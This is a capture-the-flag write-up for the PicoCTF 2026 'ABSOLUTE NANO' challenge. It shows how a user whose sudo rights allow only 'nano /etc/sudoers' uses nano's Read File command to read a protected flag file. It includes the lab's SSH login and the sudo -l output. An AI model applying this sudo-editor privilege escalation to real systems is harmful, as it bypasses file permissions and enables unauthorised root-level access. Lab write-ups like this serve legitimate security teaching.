

PicoCTF 2026 – ABSOLUTE NANO

ABSOLUTE NANO

General Skills

Medium

200 pts 3,036 solves

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You have complete power with nano.

Think you can get the flag?

```
ssh -p 56912 ctf-player@crystal-peak.picoctf.net using password 46cb0c29
```

In this challenge, they tell us that we have complete power with nano, but what does this mean?

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```
ctf-player@challenge:~$ ls  
flag.txt  
ctf-player@challenge:~$ cat flag.txt  
cat: flag.txt: Permission denied  
ctf-player@challenge:~$ █
```

When we arrive on the server, the flag is here, but we don't have the correct permissions to read it

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Sudo with Nano Text Editor

```
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\
:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers
```

But when we look at our sudo permissions on this server, we see that we can run the Nano text editor with a specific file

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Sudo with Nano Text Editor

```
[ Read 31 lines ]
^G Get Help      ^O Write Out     ^W Where Is      ^K
^X Exit          ^R Read File     ^\ Replace       ^U
```

```
File to insert [from ./]: ./flag.txt
^G Get Help      M-F New Buffer
^C Cancel        M-N No Conversion
```

Sudo (root) access with any text editor program is very powerful, and even with access to a specific file, it can be used to load other files